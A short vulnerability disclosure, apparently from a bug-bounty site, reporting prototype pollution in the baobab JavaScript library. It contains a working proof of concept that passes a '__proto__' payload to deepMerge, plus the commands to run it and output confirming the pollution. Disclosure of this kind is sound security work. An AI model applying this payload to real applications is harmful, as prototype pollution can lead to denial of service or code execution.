Prototype Pollution in yomguithereal/baobab
Valid
Reported on
Jan 26th 2021
Description
baobab
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
const Baobab = require('baobab');
console.log('Before: ' + {}.polluted)
tree = new Baobab()
tree.deepMerge(JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
- Execute the following commands in the terminal:
npm i baobab # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: undefined
After: true
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
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